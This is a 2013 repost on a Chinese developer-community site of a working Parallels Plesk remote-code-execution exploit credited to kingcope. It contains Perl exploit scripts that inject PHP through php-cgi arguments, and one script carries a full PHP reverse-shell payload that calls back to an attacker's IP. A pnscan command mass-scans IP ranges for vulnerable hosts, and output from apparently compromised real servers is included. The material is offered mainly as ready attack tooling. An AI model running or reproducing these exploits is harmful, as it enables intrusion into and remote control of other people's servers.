备案控制台
探索云世界
开发者社区 开发与运维 文章 正文

web server信息收集(附带plesk xday)

2013-06-06 1029
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： http://www.shodanhq.comhttp://www.shodanhq.com/search?q=plesklinhttp://packetstormsecurity.

http://www.shodanhq.com

http://www.shodanhq.com/search?q=plesklin

http://packetstormsecurity.com/files/121915/Parallels-Plesk-9.5.4-Remote-Command-Execution.html

Plesk Apache zeroday / June 2013
discovered & exploited by kingcope
 
 
this Plesk configuration setting makes it possible:
scriptAlias /phppath/ "/usr/bin/"
Furthermore this is not cve-2012-1823 because the php interpreter is called directly.
(no php file is called)
 
Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution
Affected and tested: Plesk 9.5.4
                      Plesk 9.3
                      Plesk 9.2
                      Plesk 9.0
                      Plesk 8.6
Discovered & Exploited by Kingcope / June 2013
Affected and tested OS: RedHat, CentOS, Fedora
Affected and tested Platforms: Linux i386, Linux x86_64
Untested OS: Windows (php.exe?)
Unaffected: 11.0.9 due to compiled in protection of PHP version
Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%
6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%
62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%
3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Shodanhq overview of Plesk on Linux:
http://www.shodanhq.com/search?q=plesklin
 
perl plesk-simple.pl <ip address>
...
...
...
OK
Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24
  19:50:48 MSD 2012 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
---
./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80
perl plesk-simple.pl 76.12.81.206
HTTP/1.1 200 OK
Date: Sat, 16 Mar 2013 13:39:35 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
 
77
Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E
ST 2012 x86_64 x86_64 x86_64 GNU/Linux
 
3e
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
 
0
 
perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error)
HTTP/1.1 200 OK
Date: Tue, 19 Mar 2013 15:29:28 GMT
Server: Apache/2.0.54 (Fedora)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
 
3
OK
 
60
Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux
 
4c
uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv)
 
0
 
 
 
use IO::Socket;
use URI::Escape;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                               PeerPort => 80,
                               Proto    => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
              uri_escape("allow_url_include=on","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("safe_mode=off","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("suhosin.simulation=on","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("disable_functions=\"\"","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("open_basedir=none","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
              uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
            ."Host: $ARGV[0]\r\n"
            ."Content-Type: application/x-www-form-urlencoded\r\n"
            ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
         print;
}
 
use IO::Socket::SSL;
use URI::Escape;
$sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],
                               PeerPort => 443,
                               Proto    => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
              uri_escape("allow_url_include=on","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("safe_mode=off","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("suhosin.simulation=on","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("disable_functions=\"\"","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("open_basedir=none","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
              uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
            ."Host: $ARGV[0]\r\n"
            ."Content-Type: application/x-www-form-urlencoded\r\n"
            ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
         print;
}
#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch
 
###############################################################################################################
 
plesk-simple-ssl.pl
 
#plesk remote exploit by kingcope
#all your base belongs to me :>
use IO::Socket::SSL;
use URI::Escape;
$sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],
                               PeerPort => 443,
                               Proto    => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
              uri_escape("allow_url_include=on","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("safe_mode=off","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("suhosin.simulation=on","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("disable_functions=\"\"","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("open_basedir=none","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
              uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
            ."Host: $ARGV[0]\r\n"
            ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"          
            ."Content-Type: application/x-www-form-urlencoded\r\n"
            ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
         print;
}
#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch
 
 
###############################################################################################################
 
plesk-simple.pl
 
 
#plesk remote exploit by kingcope
#all your base belongs to me :>
use IO::Socket;
use URI::Escape;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                               PeerPort => 80,
                               Proto    => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
              uri_escape("allow_url_include=on","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("safe_mode=off","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("suhosin.simulation=on","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("disable_functions=\"\"","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("open_basedir=none","\0-\377"). "+" .
              uri_escape("-d","\0-\377"). "+" .
              uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
              uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
            ."Host: $ARGV[0]\r\n"
            ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"
            ."Content-Type: application/x-www-form-urlencoded\r\n"
            ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
         print;
}
 
 
###############################################################################################################
 
plesk.pl
 
#plesk remote exploit by kingcope
#all your base belongs to me :>
use IO::Socket;
use IO::Socket::SSL;
use URI::Escape;
sub usage {
  print "usage: $0 <target> <http/https> <local_ip> <local_port>\n";exit;
}
if (!defined($ARGV[3])){usage();}
$target=$ARGV[0];
$proto=$ARGV[1];
if ($proto eq "http") {
$sock = IO::Socket::INET->new(
  PeerAddr => $ARGV[0],
  PeerPort => 80,
  Proto => 'tcp');
}elsif ($proto eq "https") {
$sock = IO::Socket::SSL->new(
  PeerAddr => $ARGV[0],
  PeerPort => 443,
  Proto => 'tcp');
}else {usage();}
$lip=$ARGV[2];
$lport=$ARGV[3];
$pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip =
'$lip';  \$port = $lport; \$chunk_size = 1400; \$write_a = null;
\$error_a = null; \$shell = '/bin/sh -i'; \$daemon =
0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid =
pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\");
exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) {
printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else {
printit(\"WARNING: Failed to daemonise.  This is quite common and not
fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port,
\$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\");
exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 =>
array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process =
proc_open(\$shell, \$descriptorspec, \$pipes);if
(!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\");
exit(1);}stream_set_blocking(\$pipes[0],
0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2],
0);stream_set_blocking(\$sock, 0);while (1) {    if (feof(\$sock)) {
printit(\"done.\"); break;} if
(feof(\$pipes[1])) {printit(\"done.\");break;}\$read_a = array(\$sock, \$pipes[1],
\$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a,
\$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug)
printit(\"SOCK READ\");\$input = fread(\$sock,
\$chunk_size);if(\$debug) printit(\"SOCK:
\$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1],
\$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input =
fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT:
\$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2],
\$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input =
fread(\$pipes[2], \$chunk_size);    if (\$debug) printit(\"STDERR:
\$input\");fwrite(\$sock,
\$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print
\"\$string\n\";}}
?>";
$arguments=uri_escape("-d","\0-\377"). "+" .
  uri_escape("allow_url_include=on","\0-\377"). "+" .
  uri_escape("-d","\0-\377"). "+" .
  uri_escape("safe_mode=off","\0-\377"). "+" .
  uri_escape("-d","\0-\377"). "+" .
  uri_escape("suhosin.simulation=on","\0-\377"). "+" .
  uri_escape("-d","\0-\377"). "+" .
  uri_escape("disable_functions=\"\"","\0-\377"). "+" .
  uri_escape("-d","\0-\377"). "+" .
  uri_escape("open_basedir=none","\0-\377"). "+" .
  uri_escape("-d","\0-\377"). "+" .
  uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
  uri_escape("-n","\0-\377");
$path=uri_escape("phppath","\0-\377"). "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n".
  "Host: $ARGV[0]\r\n".
  "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n".
  "Content-Type: text/plain\r\n".
  "Content-Length: ". length($pwn) ."\r\n\r\n". $pwn;
while(<$sock>){print $_;};
 
 
###############################################################################################################

 

文章标签：
移动开发
PHP
Linux
Apache
Web App开发
关键词：
web信息
web server
web附带
cnbird
目录
相关文章
Aileen_0v0~
|
3月前
|
IDE Linux 开发工具
如何在Linux运行RStudio Server并实现Web浏览器远程访问
如何在Linux运行RStudio Server并实现Web浏览器远程访问
Aileen_0v0~
71 0
jerrywangsap
|
3月前
|
算法 前端开发 JavaScript
什么是 Web 开发的 Server Side Model
什么是 Web 开发的 Server Side Model
jerrywangsap
25 0
博客zhu虎康
|
2月前
|
应用服务中间件 nginx
【报错】Failed to start A high performance web server and a reverse proxy server.
【报错】Failed to start A high performance web server and a reverse proxy server.
博客zhu虎康
98 2
高二的笔记
|
3月前
|
Linux
【web server】基于升序链表的定时器
【web server】基于升序链表的定时器
高二的笔记
50 0
疯狂的猿
|
26天前
|
安全 测试技术 网络安全
Web安全基础入门+信息收集篇
学习信息收集，针对域名信息,解析信息,网站信息,服务器信息等；学习端口扫描，针对端口进行服务探针,理解服务及端口对应关系；学习WEB扫描，主要针对敏感文件,安全漏洞,子域名信息等；学习信息收集方法及实现安全测试，能独立理解WEB架构框架，树立渗透测试开展思路！
疯狂的猿
18 0
Web安全基础入门+信息收集篇
弹性计算-小弹
|
1月前
|
弹性计算 算法 应用服务中间件
倚天使用|Nginx性能高27%，性价比1.5倍，基于阿里云倚天ECS的Web server实践
倚天710构建的ECS产品，基于云原生独立物理核、大cache，结合CIPU新架构，倚天ECS在Nginx场景下，具备强大的性能优势。相对典型x86，Http长连接场景性能收益27%，开启gzip压缩时性能收益达到74%。 同时阿里云G8y实例售价比G7实例低23%，是Web Server最佳选择。
弹性计算-小弹
249 0
vzmvmwcrnweq2
|
1月前
|
Windows
Windows Server 各版本搭建 Web 服务器实现访问本地 Web 网站（03~19）
Windows Server 各版本搭建 Web 服务器实现访问本地 Web 网站（03~19）
vzmvmwcrnweq2
53 2
wljslmz
|
1月前
|
安全 应用服务中间件 nginx
如何在Nginx上安装headers-more-nginx-module扩展，并配置Nginx以隐藏Web服务的详细信息
【2月更文挑战第11天】
wljslmz
92 1
星辰有行
|
3月前
|
XML C++ 数据格式
C++使用gSoap写Web Server和Web Client
C++使用gSoap写Web Server和Web Client
星辰有行
36 1
高二的笔记
|
3月前
【web server】HTTP协议如何解析or封装
【web server】HTTP协议如何解析or封装
高二的笔记
28 0

热门文章

最新文章

  • 1
    阿里云安全产品，Web应用防火墙与云防火墙产品各自作用简介
  • 2
    构建高效响应式Web界面：现代前端框架的比较
  • 3
    Serverless 应用引擎常见问题之做的web服务计费如何解决
  • 4
    机器学习PAI常见问题之web ui 项目启动后页面打不开如何解决
  • 5
    在Python Web开发过程中：数据库与缓存，MySQL和NoSQL数据库的主要差异是什么？
  • 6
    组态软件之万维组态介绍（web组态、html组态、vue2/vue3组态）
  • 7
    深入探索 Qt6 web模块 WebEngineCore：从基础原理到高级应用与技巧
  • 8
    Linux系统之部署web-check网站分析工具
  • 9
    使用Selenium执行JavaScript脚本：探索Web自动化的新领域
  • 10
    《理解 WebSocket：Java Web 开发的实时通信技术》
  • 1
    视觉智能平台常见问题之web端编辑器实现如何解决
    36
  • 2
    构建高性能Web应用的关键技术
    42
  • 3
    构建响应式Web界面：Flexbox的力量
    19
  • 4
    探索现代Web应用中的微前端架构
    26
  • 5
    如何在本地安装Flask并将其web界面发布到公网上远程访问协同开发
    36
  • 6
    前端开发新趋势：Web3、区块链和虚拟现实
    37
  • 7
    构建响应式Web界面：Flexbox布局的力量
    16
  • 8
    JAVA Web项目开发SSM框架搭建（第一天）
    25
  • 9
    JAVA Web项目开发创建Web项目（第一天）
    21
  • 10
    JAVA Web项目开发eclipse工具包配置（第一天）
    33

    • 相关课程

    更多
  • Python Web开发基础
  • Java Web开发系列课程 - Spring框架入门
  • 企业Web常用架构LAMP-LNMP实战
  • 高校精品课-西安交通大学-Web 编程技术
  • Java Web项目实战 - 图书商城
  • Java面试疑难点解析 - Java Web开发

    • 相关电子书

    更多
  • Web应用系统性能优化
  • 高性能Web架构之缓存体系
  • PWA:移动Web的现在与未来

    • 相关实验场景

    更多
  • 基于ECS搭建Java Web开发环境
  • 搭建Java Web开发环境
  • Internet Information Services（IIS）部署Web项目
  • 云上Web及FTP
  • WEB网页编程实战
    • 下一篇
    阿里云oss简介和使用流程
    为什么选择阿里云什么是云计算全球基础设施技术领先稳定可靠安全合规分析师报告
    产品和定价全部产品免费试用产品动态产品定价价格计算器云上成本管理
    解决方案技术解决方案
    文档与社区文档开发者社区天池大赛培训与认证
    权益中心免费试用高校计划企业扶持计划推荐返现计划
    支持与服务基础服务企业增值服务迁云服务官网公告健康看板信任中心
    关注阿里云
    关注阿里云公众号或下载阿里云APP，关注云资讯，随时随地运维管控云服务
    阿里云APP阿里云微信
    联系我们：4008013260
    法律声明Cookies政策廉正举报安全举报联系我们加入我们
    阿里巴巴集团淘宝网天猫全球速卖通阿里巴巴国际交易市场1688阿里妈妈飞猪阿里云计算AliOS万网高德UC友盟优酷钉钉支付宝达摩院淘宝海外阿里云盘饿了么
    © 2009-2024 Aliyun.com 版权所有 增值电信业务经营许可证： 浙B2-20080101 域名注册服务机构许可： 浙D3-20210002 京D3-20220015
    浙公网安备 33010602009975号浙B2-20080101-4